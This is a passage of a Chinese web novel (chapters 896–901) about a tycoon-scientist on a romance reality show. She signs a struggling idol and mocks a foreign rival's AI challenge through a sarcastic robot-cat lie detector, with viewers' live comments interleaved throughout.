{刚才沈从都快哭了吧,死孩子出道后真没赚多少钱,天天说他圈内顶流这才顶流几天,以前沈从真没几个钱,全都被公司拿大头了,上个月慈善晚宴捐了一大笔钱,这会儿小可怜早没钱了,宋明远提出捐款的时候沈从都慌了。太能理解沈从的什么心情了,没有钱,但老板建了基金会,有前辈还捐款了,他肯定想自己是不是也要捐款,可他没钱了,宋明远直接五百万,把小丛卖了也没这么多钱啊,不捐钱那是不是新老板印象就不好,孩子真要哭了,天杀的宋明远啊,还好许总是好人!许总是猜到小丛没钱才这么说的吧!呜呜呜许总万岁!} {宋明远到底是有多蠢啊,就他有钱显出他了是吧,周鹤瑾怎么不提呢,杜佳阮怎么不提呢,就他在那边叭叭,有没有脑子啊,他知不知道他开口捐款粉丝也会想着捐款,不捐的会被嘲,把我们小丛都要逼哭了!} {宋明远这明摆着是为了要热度在这里现眼呢。} {说实话,这种情况宋明远是真的没脑子,别人都不提,就他提,谁信他真的是因为喜欢小动物,真想捐可以私下跟许总提,特意在直播的时候提就是为了吸粉,完全没考虑其他人感受。} 宋明远直到现在被许愿拒绝了才反应过来自己做了什么蠢事,脸色瞬间变得难看起来,只能尴尬的笑笑。 沈从感激的看着许愿,但是听到猫耳朵还是脸红耳朵红。 第896章 就要猫耳朵! “许总,猫耳朵就不必了吧,也没人喜欢看。” 弹幕第一个不答应。 {不!要猫耳朵!就要猫耳朵!} {小丛这是妈妈一生一世的请求啊!猫耳朵!妈妈一定要看!许总不要理他!就要给他猫耳朵!} {这是什么猫耳朵嘿嘿,这是什么猫耳朵嘻嘻,小丛妈妈要疯了,不能没有猫耳朵!} 弹幕疯狂刷屏全都要沈从戴猫耳朵,根本没有人理沈从,谁理他?谁也不理。 许愿似是也猜到评论区的反应了。 “导演,评论区怎么说的?她们也同意沈从不戴猫耳朵吗?”许愿含笑问。 宋玥赶紧开口:“他粉丝都想看,还有提出要狗狗耳朵狐狸耳朵,刷了一大排,连兔耳朵都有。” 沈从脸已经彻底红透了,他也没想到自己粉丝这么没下限的。 许愿摆摆肩:“沈从,那没办法了,你的粉丝想看。” 许愿对着镜头笑眯眯:“等以后沈从去救助小猫咪和小狗的时候会让他自拍给你们看的。” 评论区全都高呼许愿万岁了。 沈从却是一脸的生无可恋。 像是无奈,却又没办法反抗似的。 许愿看到他这表情就更想笑了。 但不知道怎么回事评论区突然就歪了,有人开始讨论起许愿和盛景炎那些猫耳朵狗耳朵了。 {看到许总面带微笑给小丛出馊主意我就想到了前天参加节目的时候掉出来的那些玩具……救命我开始脑补许总和盛总之间跟玩具的纠葛缠绵了。} {你不是一个人……} 许愿哪里知道自己提到沈从的猫耳朵狗耳朵会让评论区想到这些啊,宋玥看到直播间里的都在谈什么也是一言难尽,根本不敢跟许愿提起直播间有多闹腾。 有人在这里夸自然就有人在评论区找茬,主要原因还是宋明远提到要捐款且打算捐五百万这件事。 有黑子指着这件事骂。 {你们知道五百万是多少钱吗?是小县城的我一辈子都赚不到的金额,现在这些明星张口闭口就要捐给小动物,难道小动物比人活的还要艰难吗?明星就是会作秀,给小动物建立基金会,给小动物捐钱,可笑。} 这些都不用节目组处理,立刻有人帮着喷回去。 {说人比小动物活的艰难是认真的吗?知道今年被毒害虐杀的小动物有多少吗?你跟小动物们比这些?到底有没有良心啊,是恶魔吗?} {等你变成小动物被人追着投毒虐打的时候我也会给你捐钱的,不用羡慕。} {现在的人为什么就是这么在意其他人的钱花在什么地方?许愿喜欢建立基金会喜欢救助小动物怎么了?花你钱了吗?她是少纳税了?她缴纳的税就多少钱你算过吗?你没算过,你只知道吐槽嘲讽。知道许愿建立过救助孤儿和残疾人的基金会吗?知道建立过重病患者的基金会吗?知道她还免费救助过癌病患者吗?你不知道,你只看到许愿救助小动物,你看不到许愿为那些人奉献了多少,你就想着许愿能给你打一笔钱然后为你买房买车伺候你是不是!少做白日梦了,睡醒了就找个厂子拧螺丝去!} {笑死人了,第一次看到有人喷许愿捐款这事儿的,许愿捐的还少吗,这么在意其他人的个人资产就是因为没人捐给你所以羡慕嫉妒是吧,再羡慕嫉妒也没你的份儿哈。} {到底为什么会有这么可笑的人啊,你实在嫉妒要不你自己努努力你去捐给穷人好吗?别说许愿捐过很多钱建立过很多基金会了,就算她没娟,就算她真的花了那又跟你有什么关系吗?花自己的钱你管得着吗?有本事你自己去挣啊,如果是你自己的钱,你爱怎么花怎么花!少对别人指指点点,那不是你的钱!不是你的钱!} 这种人其实说白了就是找骂,许愿本质上就没有伤害到任何人只是帮助了小动物就被喷,多少有点过分。 但那人不觉得自己有错,只会认为错的是许愿,就算被喷了也只是闭麦。 只能说世界观不同,实在不能强求那人能跟自己的想法一致。 许愿不知道弹幕的风风雨雨,只是自己有点感慨的调侃了句:“宋导,我们真的不像恋综了,说是恋爱综艺不如说是来做公益。” 宋玥也有些无奈,这许愿确实是没说错。 说是恋爱综艺,变得像是什么公益组织的综艺了,谁看了不吐槽一句。 但其实观众是爱看这些的,因为今天的节目里面有太多令人治愈的猫猫,还有动物保护协会送来的绘本,有可爱的护着雪团的霸总玄墨猫猫,有林悠羽那一双乖巧可爱的女儿,可以说每个直播间都是有亮点的。 许愿握着盛景炎的手,眉眼弯弯:“虽然像是来做综艺,但是对我来说真的很有意义,我很开心。” 做自己认为有意义的事就是会很开心。 起码许愿是很开心的。 今天大家一起救助了流浪猫,许愿又打算建立基金会,宋玥导演也没再让几组分开做饭,打算今晚烧烤,特地买了牛肉、猪五花、羊肉、切块腌制备用,这次蔬菜种类就多了些。 导演也不觉得买的多,肯定是会剩下的,反正节目组的人多,真要剩下了,她们还能烤着吃,反正不会浪费就是了。 这次请来的人就连沈从和杜佳阮都会做饭,没有什么小白,大人们穿串儿,三个小孩儿在一旁玩闹。 农村夜晚的星空是美的,抬头就能看到星空,微风吹过仿佛都裹挟着已经熟透的玉米的清香,偶尔能听到鸡鸣和猫狗的叫声,和谐却又温馨,总让人觉得这样的生活节奏慢且舒适。 沈从当然是要跟着自己新老板的,但许愿毕竟有未婚夫,他也要避嫌,便跟盛景炎一起穿肉串儿。 许愿看得出他有点小心翼翼。 想想也是,刚出道就被公司坑了,没雪藏却等同于雪藏,那么多资源全靠沈从自己出去求去试镜,还有比他更惨的流量吗,怕是没有了。 第897章 红利没吃到,光招黑粉了 沈从心里也清楚许愿说要签他算是给了他一次新生。 若非许愿这次查了天域传媒,沈从多半还要被威胁着续约,或者会被放出黑料直接被毁掉前程然后默默退圈。 沈从讨好的方式实在笨拙,就是吭哧吭哧老实的干活,还怕被误会,所以盛景炎干什么他干什么,老实的很。 许愿见此忍不住笑意,眉眼弯弯的看着沈从。 “这次综艺结束录制后你有什么特别想做的吗?你可以理解为我在问你想要什么资源。” “是想演戏,上综艺还是出专辑?如果是演戏的话我这边会联系编剧收购剧本进行围堵然后建立剧组,如果是综艺那要看你喜欢什么类型的综艺,不过我看你有点傻乎乎的应该也不太适合上综艺,我不强迫你,有合适的我会介绍给你,至于专辑的话我昨晚已经联系过音乐制作人杜俊为你制作专辑,曲子和词作都已经整理好了,就差你进录音棚录制了。” “演戏或者综艺可能还需要接洽,但专辑的话等你出节目组就可以进录音棚。至于广告杂志这些我看到合适的会帮你争取,因为栩栩在暂退娱乐圈所以暂时由栩栩的经纪人带你,我这边有合适的经纪人后会联系你。” “我记得你出道的时候就提过自己想出一张属于自己个人的专辑,现在也该圆梦了。” “你毕竟是我们公司除了栩栩以外的另一个顶梁柱,资源肯定是要给你的。” 沈从整个人都有些发愣,他知道许愿要签下自己的时候是很开心的,可以说是激动,许愿的人品在圈内有目共睹,被许愿签下资源是不会少的,但没想到许愿是真的放到心上了。 这不仅是放到心上,可以说是极致的宠爱了。 {神呐,沈从以前吃了那么多苦就是为了现在遇到许总和盛总的对吧。} {崽呜呜你碰到好人了,许总我给你磕一个!} {我至今还记得从崽曾经说过想出一张属于自己的个人专辑,但是这几年都没能办到,现在许总说要为他出专辑!词曲都准备好了!我暴风哭泣!} {音乐制作人是谁?我靠杜俊!是认真的吗?许总我再给你磕一个!竟然是杜俊!知道杜俊是谁吗?这么些年只要杜俊担任音乐制作人就没有不红的歌,主要原因是杜俊真的很会选歌选词,甚至MV的导演都选的特别好,他会为歌手量身定做最属于他的曲风,是杜俊的话,那专辑绝对超棒的!} {许总这段话透露出的意思简直太多了,很明显许总的意思是要什么资源就给什么资源啊!要演戏就给电视剧或者电影资源,几乎是量身定做剧本要综艺就找合适的综艺,广告和杂志更是不用说的会筛选,我天,沈从现在只要精进演技好好提升业务能力其它的真的什么都不用管了!这是什么绝世好东家!许总你这样真的让人不得不爱啊!} {救命,从微博过来的,有人说这里有绝世好老板,我来看看,另外许总真的不考虑看看我家哥哥吗?长得帅演技好,求挖墙脚啊!} {我家姐姐也是超美超飒的,许总求带我们姐姐走吧!许总您的娱乐公司还差一个女艺人啊!温栩栩不在刚好这一年可以养一下我们姐姐!} {天杀的娱乐公司但凡对我家哥哥有许总对沈从一半好啊!} 弹幕区全都在羡慕沈从嫉妒沈从还有无数想让许愿挖墙脚的。 其实不怪这群人信任许愿,主要是许愿不缺钱,不会克扣旗下艺人的分成,且还有最好的律师团队,不用担心艺人被碰瓷被针对然后上黑热搜,毕竟许愿有钱舍得花钱。 沈从快要感动哭了。 他从出道开始就一直被设计被陷害,现在突然好运降临了,就连他自己都显得有些手足无措了。 许愿看他这副模样也实在是有点想笑。 “好了,你的粉丝可都看着呢。” 听许愿这么说沈从才赶紧抑制住了自己想哭的冲动。 “许总,我一定会给您好好赚钱实现我的价值,绝对不让您白花钱捧我的!”沈从这话说的特别真诚。 粉丝也是在弹幕区纷纷附和。 {对对对,崽啊你要好好给许总赚钱,一定要让许总觉得物超所值啊!} {崽啊一定要好好努力给许总赚钱,不要不争气啊,不然外面好多小妖精想顶替你呢!} 可见粉丝对许愿签下沈从有多满意且感激。 许愿这边其乐融融,杜佳阮也跟过来一起帮忙。 杜佳阮本质上并没有多少坏心,不过是整容撒谎后经常炒作,这在娱乐圈里面很常见,所以许愿对她还是很宽容的,并没有多少恶感。 宋明远却有些手忙脚乱,两个女儿贴着林悠羽,离他远远的,几乎没有什么沟通,明眼人都能感觉到宋明远跟自己的女儿没多少感情,但想想宋明远重男轻女就觉得情有可原了。 不喜欢女儿所以才感情不好。 现在吃瓜网友都已经懒得吐槽宋明远了,实在是槽点太多。 宋明远的经纪人一直盯着直播间,看到路人对宋明远都已经失望透顶甚至没有心思看宋明远后更是被气到差点心梗。 经纪人想骂宋明远,但偏偏宋明远不是没想办法抢救,实在是想了办法也没用。 要怪就怪宋明远不疼那两个女儿,才导致了他现在被家人排斥的后果。 这算什么,只能说是活该了。 经纪人眼神复杂,只觉得宋明远参加这档综艺实在是……倒霉。 可现在呢?红利没吃到,光招黑粉了。 若是往常,经纪人还能找到节目组让节目组拍些正能量的,但现在不同往日,现在宋明远不是节目组唯一的大咖资本,现在最大的资本是许愿,别说宋明远扛不住许愿,没看天域传媒的总裁也没抗住,直接进去了,现在接手的还是另一位吗。 宋明远敢跟许愿对上,第二天就能网络上全都是他的黑料。 第898章 气数将尽 毕竟宋明远这些年能混到这层次确实不怎么干净,他怎么爬上来的圈子里多少都有记录,如果许愿想毁掉宋明远,那这些资本都只会提供证据,而不是护住宋明远。 帮助宋明远能得到的好处指甲盖大小,可给许愿提供便利那就不同了,都混到这圈子里了全都是人精。 昨天许愿虽然冷落宋明远但好歹偶尔还看他几眼,但今天几乎是明晃晃的无视了,特别是宋明远说捐款的时候许愿那笑完全不达眼底。 经纪人不是蠢货,他只觉不对,总觉得在自己不知道的时候节目组肯定出了点别的事。 经纪人抓心挠肺的想知道原因,助理终于探听到消息回来了。 “快说,昨晚到底发生了什么事!”经纪人赶紧追问。 助理一脸为难,有些无措。 “昨晚宋哥的母亲去了节目组……专程去找了许总一趟,宋哥的母亲什么样哥您也知道的,那位老太太最瞧不上女性,嘴里总是不干不净的,也不知道对许总说了些什么难听话,肯定是把人得罪狠了。” 助理就见过那老太太几面,那老太太对林悠羽死活看不上,张口闭口就是骂着林悠羽生了两个孙女,那些难听话助理根本都复述不出来,实在是骂的太脏了,老太太骂几句,没骂助理助理都气血上涌想打人想捂住老太太的嘴,更不要说老太太专程去找许愿了。 那能说什么好听话? 助理心里咯噔,经纪人更是心都凉了。 那老太太何止是看不上林悠羽,简直是撺掇着两人离婚的程度,若非是林悠羽还算安分,老太太早就把人踹出家门了。 这会儿谁知道老太太是不是盯上了许愿背后的资产说了什么自以为是的话。 他越是想越是怕和慌,再一次觉得自己带了个大麻烦。 甚至此刻都埋怨宋明远怎么就不能看好他母亲呢?想让宋修浩回去就一定要通过他母亲吗?找个助理啊,实在不行他也能开车把那熊孩子送回去。 他自己母亲什么性子多丢脸他自己不清楚吗?非要那老太太去节目组。 这下好了,本来就得罪了许愿,现在更是惹了许愿的厌恶,这下才算是全完了。 经纪人心里又是恼火又是气愤,恨不能现在就给宋明远打电话骂一通输出,不然这口火气就郁结在心口,几乎快要把他逼疯了。 “艹,宋明远这没脑子的蠢货,他就不能离他头脑不清醒的妈远点吗?” “都已经在娱乐圈爬到这位置了,难道不知道在他妈有多离谱?” “他最好祈祷不会有人爆料老太太去剧组找许愿的事情,最好也不要被圈子里爆出老太太对林悠羽说过的那些话,否则还有一波黑料等着宋明远呢!” 经纪人已经想透了。 这件事已经发展到这一步了,再怎么躲是没有用的,只能正面迎上了。 经纪人连着叹了口气,看着直播间内的宋明远笨手笨脚的穿肉串,直播间还偶尔伴着几句骂声,直播间的热度也越来越低。 反观其它三个直播间,许愿的直播间人最多,其次就是周鹤瑾和周文晏,沈从和杜佳阮因为是流量,两人之间虽然没有多少互动但也有粉丝买账。 唯有宋明远这一组没多少人看,就算真有人也是在看林悠羽和他那两个女儿。 没人想看他。 曾经宋明远路人缘极好,圈子里都说宋明远讲义气够朋友。 但这次参加了这档节目的录制,已经然全将宋明远伪装的面具掀开,让人看到腐朽的内里。 早就烂透了。 宋明远就像是华国那种最典型的男性,那群男性在外风评总是很好,因为他们对外人总是很大方,外面兄弟没钱了,就是借钱也要给他们花,根本没管家里人的死活,宋明远就是这种人。 但如果宋明远真的得罪了许愿那群人是绝对不会站出来帮他的,甚至只会躲他躲的远远的,避之不及。 经纪人深吸了一口气,觉得宋明远实在是气数将尽,这档节目过后,宋明远的路人盘算是彻底崩了,微博粉丝直线下降,活粉也越来越少。 没有办法,若是宋明远肯对妻子女儿好一些,也不会沦落到这一步,经纪人再再怎么叹气也没办法,毕竟已经到这一步了。 气数将尽啊。 得罪了许愿,还想有什么以后呢,圈子里那群人精也不会再给他什么好资源了。 就算以后这事儿淡了那也起码要两年以后了,这两年宋明远只能夹着尾巴做人。 没了宋明远,他只能转去捧其它人。 经纪人又叹了口气,给公司打了通电话,联系着看下新人的资料打算带新人了。 宋明远毕竟这个年纪了,他不能只耗在宋明远身上,他可还要吃饭赚钱的,也不是不管宋明远,真要出什么事他绝对也会管的。只是不想以前那么事无巨细了。 希望宋明远能懂。 宋明远根本不知道自己已经被经纪人放弃了,他还在录制节目,做出一副跟女儿亲热的姿态。 许愿只看了一眼便收回目光,此刻弹幕的内容已经变了,清一色的全都在@许愿。 {莱蒂斯怎么敢@我们许总的啊!竟然敢说自己研究的人工智能才是最棒的人工智能?脸呢?太看得起他自己了吧!} {许总看微博啊!有人打上门来了!} {许总还记得莱蒂斯吗!这狗东西又卷土重来没完没了,他是小强吗!} {许总别让他这么嚣张啊!} 弹幕清一色的全都跟莱蒂斯和许愿有关。 宋玥一直看着直播间,见直播间的风向变了还有些懵,赶紧让助理去看又闹了什么幺蛾子。 助理去微博溜达了一圈回来表情有些古怪。 “宋导,还记得许总的死对头莱蒂斯吗,他在外网账号上发了条信息并提到了许总,说许总研发的人工智能是小儿科,他研发的人工智能才是最完美的,称明天将会在帝城举办一场世界上最先进的对抗,机器人与围棋国手之间的对决,以此来证明自己旗下研究的人工智能远超许总的人工智能……” 第899章 离谱到像瞎编的 宋玥听到助理提及莱蒂斯就知道这件事闹大了。 莱蒂斯可以说是傅京礼和许愿的死敌,许愿还在傅氏的时候毁掉过莱蒂斯几个百亿的合同,后还抢占了莱蒂斯的智能车企,逼得莱蒂斯的企业从华国退出。 现在傅京礼离开华国,离开傅氏,莱蒂斯更是将冒头彻底对准了许愿。 大概莱蒂斯觉得只要没有许愿那自己做什么都能成功。 所以这次又不怕死的提到了姜栖晚引以为傲的人工智能去攻击许愿的智能系统。 许愿和姜明珠一起合作的智能系统现在就被莱蒂斯放到明面上挑衅,不过莱蒂斯没有带姜明珠,因为在他眼里只有许愿才够格做他的对手。 莱蒂斯不光提到要挑战许愿的智能系统,还挑衅许愿研发的智能车,称自己研发的新车抗撞击能力比之许愿更高十倍之久,发表的博文把许愿的车贬低的一无是处,甚至提到当初盛景炎因为那场撞击导致车祸断腿的事也被莱蒂斯再度提起。 对他来说这件事本就可以避免的,是许愿的车不行。 他完全没考虑当时有多少辆车围堵了盛景炎的车,最后又从山顶坠落,这样都只是断腿没有生命危险,足以证明许愿研发的车防抗击的能力可以说是一绝。 但莱蒂斯上来就挑衅。 智能系统被挑战,研发的新型车也被挑战。 莱蒂斯又疯了?还是受什么刺激了? 国内评论区炸了,外网评论区也炸了。 {莱蒂斯这是第几次挑战许了?} {每一次挑战都像条丧家犬一样灰溜溜的回来真的很丢脸,莱蒂斯我真的没空陪你闹了。} {上次暗网的事情才过去多久?莱蒂斯当时像条疯狗一样追着唐文晞和许愿咬,说她们是会被暗网抓走配种的狗,莱蒂斯这货甚至还打算投资暗网,结果还没等跟暗网那边的负责人见面,暗网就已经被许愿毁了。fuck,这才多久,莱蒂斯你歇一歇吧。} {要跟许比之前不然先研究出裸眼3D?如果这都研究不出来还说什么针对许?} {莱蒂斯你是不是暗恋许?一次一次又一次?你不是欠虐就是暗恋许,绝对是这样。} {我怀疑莱蒂斯在越级碰瓷许!他在越级碰瓷许!} {不是哈哈哈救命啊,你们还记不记得莱蒂斯曾经是我们海外排名前三的资本啊,这就被你们忘到脑后了!} {那不也是曾经了,现在海外最大的资本……是盛华} 上面这些全都是海外的网友发的,可见莱蒂斯现在在他们眼里跟乐子人没多少区别。 国内网友更是上蹿下跳的觉得莱蒂斯有病。 {莱蒂斯到底什么时候能够清楚的明白自己跟许愿之间的差距啊?} {整天参加听证会也好发布会也好,每次前面营销的自己很厉害,最后却什么都不是,这哥们都多少次这样的事了。} {整天盯着我们许总有意思吗?没见我们许总都懒得搭理他?} {会议上说不过许总,合作抢不过许总,研究比不过许总,哪哪儿都比不过,我要是莱蒂斯我早躲起来了,哪像这位这么厚脸皮,还颠颠儿的凑上来攻击我们许总,到底谁给他的勇气啊?梁静茹是华国的我们不外借的啊!} {合理怀疑莱蒂斯是知道我们许总在录制节目所以故意挑这个时间挑衅的,没品哦。} {以前提到莱蒂斯就是神秘的海外资本大佬,现在提到莱蒂斯我觉得他像菜狗,真是许总给我的自信啊。} 这是国内的评论区。 反正不管是海外还是国内的都在群嘲莱蒂斯,仿佛完全将莱蒂斯当成了小丑。 莱蒂斯这边却发布了一条视频作为反击。 视频中是一只圆头圆脑的黄色机器人,有点像最近华国很火的奶龙,奶萌奶萌的,开口的声音也是可爱的带点奶音。 他有一双很长的机械手臂,手臂上有五根灵活的机械抓,而脸上有一块液晶屏,上面是他的各种表情,卖萌的撒娇的笑眯眯的。 视频里面的机器人弯着眼睛用奶音开口:“大家好~我是丘利亚,我是世界上最厉害的人工智能,其它的人工智能都会被我打败哦!” 外网的网友先是被他的外表萌翻了,然后就是吐槽莱蒂斯脸大太自信,国内也群嘲莱蒂斯脑子有毛病。 海外这件事闹得很大,现在讨论莱蒂斯暗恋许愿的人越来越多,出了个机器人都有人说这丘利亚其实就是丘比特,说不定还会偷偷给许愿送情书。 莱蒂斯都快要被气死了,赶紧打开聊天软件给自己的那群下属拉了个群安排接下来的工作。 莱蒂斯这边安排好工作,国内就开始有了莱蒂斯的水军。 都在刷丘利亚可爱聪明,这一次一定能赢许愿这类的言论,惹得国内网友大开眼界。 不过也确实有一位圈内人提到莱蒂斯这机器人制作的精巧,从机器人的外观到暴露出的内部数据都证明了丘利亚的精妙,并批判了下许愿研发的人工智能,称许愿的人工智能是最低端的。 真正的科研人员发话了,下面粉丝不吱声了。 可谁也没有想到半小时后海外的记者发了一条海外博文,内容就是莱蒂斯知道国内外都在嘲讽自己后特地把自己的下属拉到了聊天群吩咐他们去购买水军以及华国的一些科研大拿让他们攻击许愿,那位记者算是被无意中拉进去的,因为人太多所以没人注意到她。 她最初以为是玩笑话,结果华国真的出现了攻击许愿的水军,这位记者这才曝光了莱蒂斯买水军的行径。 记者曝光这一些后,嘲讽许愿的人工智能低端的研发人员删除了微博,进一步证实了这件事的真实性。 吃瓜网友们都炸锅了。 {不是?莱蒂斯有毛病吗?这真的假的?} {真的,海外已经石锤了,万万没想到资本家也是这么癫的啊,癫到办坏事真的在群里哔哔。} {本来不打算相信的,但是离谱到像瞎编的……那这一定是真的……} 节目组的导演唇角都跟着狠抽了下,她也觉得莱蒂斯有病了。 第900章 他有钱有闲还没有爱人 莱蒂斯闹了个大笑话惹得海外都在群嘲,莱蒂斯知道这件事被暴露出去后勃然大怒,但这件事是他的失误,他谁也怪不了,只能怪他自己的下属不够谨慎。 “导演,这件事是不是要告诉许总啊?” 助理提了一句。 许愿在吃盛景炎烤的彩椒肉串,似乎是觉得美味,眉梢都微微扬起,那张明艳的面容更加吸睛。 宋玥心道这么大的事情许愿肯定也想知道的,不能瞒着许愿,不然真出事她们节目组可抗不下来。 正说着,就见刑从景的下属在他耳边耳语几句,也不用节目组提醒了,刑从景已经走到许愿面前,宋玥一看就猜到是说跟莱蒂斯有关的事,便也不着急了。 直播间还当笑话一样刷着莱蒂斯,就见一个陌生且高大冷峻的男人走到许愿身边。 刑从景的相貌自然是极好的,且一看就像是许愿的长辈,是明显的熟男,身上特定的制服衬衣因为肌肉太大块显得衬衣都快崩裂。 弹幕评论区忍不住“嘶”了一声。 {救命……这位是……谁啊!} {好TM有男人味,对不起我爆粗口了但是,那身材,衬衣都要裂开了。} {好壮的感觉,感觉哥们能一拳打死两个我……} {你们真的不要再盯这位了!跟在许总身边的!一直跟在许总身边的,用我说的再明显点吗!什么人能一直跟在许总身边啊!许总不仅是盛世的总裁,你们动脑子想一想莱蒂斯现在攻击许总提到的也是许总研发的智能系统,她还是……科研人员啊!} {我整个裂开了,怪不得那么壮哈,原来哥们真的是那种身份,打扰了,别把我抓进去!} 刑从景当然不知道这些,网络上这些乱七八糟的他其实并不太清楚。 若不是现在接了保护许愿的任务,外界的人也没这个机会见到他。 刑从景过来,许愿还当发生了什么大事,接过刑从景递来的手机便看到了莱蒂斯发出的嚣张言论。 莱蒂斯又要疯吗? 许愿挑了下眉:“他的自信到底什么时候能分我一些?” 盛景炎显然也看到莱蒂斯的发言了,像是也觉得有点可笑道:“他是灰太狼吗?” “你别贬低灰太狼。”许愿还是挺喜欢灰太狼的。 盛景炎只是笑了笑:“你打算怎么回应莱蒂斯?” 许愿想了下开口:“一定要回吗?他真的好无聊啊。” 宋玥见此赶紧插嘴道:“许总,你和盛总的粉丝好像很希望看到你的回应。” 许愿听此才打起那么点精神嗯了一声:“那就回应一下吧。” 许愿也没登录自己外网的账号。 开玩笑,莱蒂斯算什么啊,许愿本来就没打算搭理他,如果不是粉丝想看她回应,许愿根本都懒得搭理他。 此刻在直播,许愿便直接让盛景炎取了手机为自己录制。 她手里捧着的是之前的测谎仪小猫咪。 宋玥惊了下:“许总,这不是测谎仪吗?” 许愿点头:“是测谎仪,也是基础款的人工智能,要说她有什么优点的话,那大概是……很会阴阳怪气?” 那确实很得华国人真传了。 那次宋明远没少被这测谎仪内涵。 “嗯……许总,小猫咪说的话莱蒂斯会不会听不懂啊。”宋玥内心充满疑惑,如果莱蒂斯听不懂,那岂不是反击了也没用? 许愿完全不担心这个问题。 “你想太多了,莱蒂斯那么无聊,有钱有闲还没有爱人,不用我们翻译,他自己会雇佣专人咨询的。” 莱蒂斯一直盯着许愿,如果许愿回应了,莱蒂斯怎么可能不在意? 见许愿这么自信,宋玥导演也不担心了,倒是觉得许愿这波回复又是在嘲讽莱蒂斯。 嘲他有钱有闲还没爱人,怎么不算是顶级嘲讽呢。 盛景炎的录制开始了,许愿将测谎仪小猫咪放到桌上,摄像头就对着她。 摄像头只拍到了测谎仪小猫咪。 “咪咪有听到莱蒂斯发的最新视频吗,咪咪怎么评价呢?”这是许愿在问,她甚至都没有给测谎仪小猫起名字,直接咪咪这样叫。 许愿的测谎仪小猫其实已经不像机器人了,她更像一只真正的猫咪,毛发都像真实的,眼睛是那种琉璃一样的黑色,此刻听到许愿问这句话脖子都跟着歪了歪,粉红色的小舌头吐出来像是疑惑。 但是仔细看的话能看到咪咪的眼睛里面飘过了很多数据,可见是在搜索许愿说的视频。 下一秒,咪咪像是查到了也清楚了许愿在问什么,然后眼睛再度亮起来,小猫的嘴巴都张开了,奶声奶气开口。 “海外国家是不是不方便看医生呢?普通人看医生是需要预约很长时间嗷,那莱蒂斯先生这么有钱也没有预约到脑壳专家吗?没有钱和人脉的话阿愿可以借给你嗷。” 这话回的有点过于毒舌。 摆明了就是在说莱蒂斯脑子有问题竟然敢用这种人工智能相关的问题来嘲讽许愿,讽他脑子有问题还不知道去医院早点看病。 咪咪却不觉得自己说了多难听的话,她还是那副呆萌呆萌的表情。 宋玥站在一旁都看待了,但是知道盛景炎在录制视频便没有追问,反倒是弹幕直播间都炸锅了。 {我靠啊!许总不是说这只是个测谎仪吗!谁家测谎仪还能说这个的!} {说是测谎仪,但这是许总家的测谎仪啊……} {许总说了这是基础款的人工智能,我一时都要忘记什么是基础款的人工智能了,基础款的难道不是那种智障AI吗?我问他早上好他回我吃了吗那种?现在这个是要闹哪样?小嘴巴这么会说要不帮帮我去网络上吵架啊?} {咪咪叫许总就叫阿愿唉,好可爱好可爱,亲亲亲!} {笑死我了,许总要不要这么敷衍啊,人家测谎仪小猫咪因为是猫咪所以就叫咪咪,那如果是黄色的狗狗是不是要叫大黄?} {啊,黄色狗叫大黄这种……应该是盛总才会起的吧,毕竟盛总前脚才给黑猫白猫起名小黑小白。} {够了,好了我说够了不要对我们盛总刻板印象啊喂!} 第901章 真的是踢到铁板了 许愿才问了测谎仪一个问题评论区就炸锅了,但录制并没有结束。 许愿又问:“咪咪相对丘利亚说什么吗?” 测谎仪小猫咪又歪了歪头,显然是此前看过那段视频知道丘利亚是谁了,然后哼了一声:“他跟他的父亲莱蒂斯先生一样,都需要去医院呢。” 嘲的是丘利亚自大跟莱蒂斯一样。 “那咪咪要不要预测一下明天你跟丘利亚的对决谁会赢呢?”许愿又问。 猫咪很显然震惊了,眼睛都瞪圆了,像是数据外漏了似的,测谎仪小猫灵活的咬住自己的小尾巴大声开口:“阿愿!这种情况都需要派我出战了吗!” 这话更有意思了。 这种情况就要派她出站吗?显然咪咪觉得丘利亚只是个不足为据的人工智能,而莱蒂斯是脑残智障,所以这种情况下根本不需要她出面。 “咪咪觉得明天会是谁赢呢?”这是许愿的第四个问题了。 咪咪昂首挺胸,机器人毛茸茸的尾巴“叭叭叭”的打在桌面上,然后特别自信骄傲:“反正不是那些需要去医院看脑科的家伙啦~” 她竟然还哼唧了一声喵呜回应。 许愿弯起眼睛看着她,眼底的笑意都加深了。 她没再问下去,而是抱起测谎仪小猫“咪咪”,被她抱在怀里的秘密甚至开始在她怀里发出“呼噜呼噜”的舒适声音,像是被抱的很开心。 盛景炎这时候才拍到了许愿的脸。 她眉眼弯弯的面对镜头,然后抬头,像是对着镜头前的人露出了温婉的笑,好像没有任何攻击力,但看完全程的人都知道那只叫咪咪的小猫已经把该攻击的全都攻击完了。 “莱蒂斯先生,我的代理咪咪说的话就是我对你的回应。” 许愿微笑着说出最讽刺的话。 她完全没有正面回应莱蒂斯那些冷嘲热讽,而是让自己研发出的最低端的一款测谎仪人工智能来做回答。 莱蒂斯说他的人工智能远超许愿的,许愿却只派出最底端的人工智能迎击,可见许愿的敷衍和不在意。 是的,她完全不在意莱蒂斯的挑衅。 可以说她根本没把莱蒂斯放在心上,就好像莱蒂斯就是个小丑。 看着全程的宋玥倒吸了一口冷气,该说什么?该说不愧是许愿吗? 看着直播的路人观众全都爽了。 你莱蒂斯派出你认为最高档的人工智能,我们这边只是派出了一台测谎仪机器来回应,这已经是非常傲慢的态度了,傲慢到认为莱蒂斯不足为惧。 {所以莱蒂斯真的脑子有泡非要招惹许总,许总都没搭理他,还一直凑上来,有病真的要去治啊!} {我看爽了,我真的看爽了,莱蒂斯先生脸疼吗?} 华国在这边冷嘲热讽,许愿压根都没登录海外账号发布视频,只让盛景炎发到了他的账户上。 这也是另类的傲慢。 海外的记者马上就搬运到外网,许愿和咪咪的回应马上流传开来,整个外网又在看莱蒂斯的笑话了。 {我真不懂莱蒂斯为什么一定要盯着许,哦我的上帝啊,这之间相差的鸿沟你们知道有多少吗?如果用学历来作比较,莱蒂斯还在念大学,而许已经坐在导师席了,你们能明白这种差距吗?} {感谢莱蒂斯,每天都要多几个笑料,我的抑郁症都要被治好了。} {莱蒂斯每天都在努力,努力让自己出丑。} {哦上帝,最初我们也没有想过他竟然会比喜剧演员还要好笑。} {最新版的小丑电影我希望各位导演诚邀莱蒂斯先生出演,根本不需要演技,莱蒂斯先生本人本色出演就足够了,以往内这世界上没有人比他更懂小丑。}这话言下之意,莱蒂斯本身就是小丑。 外网骂的可比国内难听多了。 莱蒂斯本以为自己挑战许愿贬低华国就是政治正确,但很明显他挑战错了人。 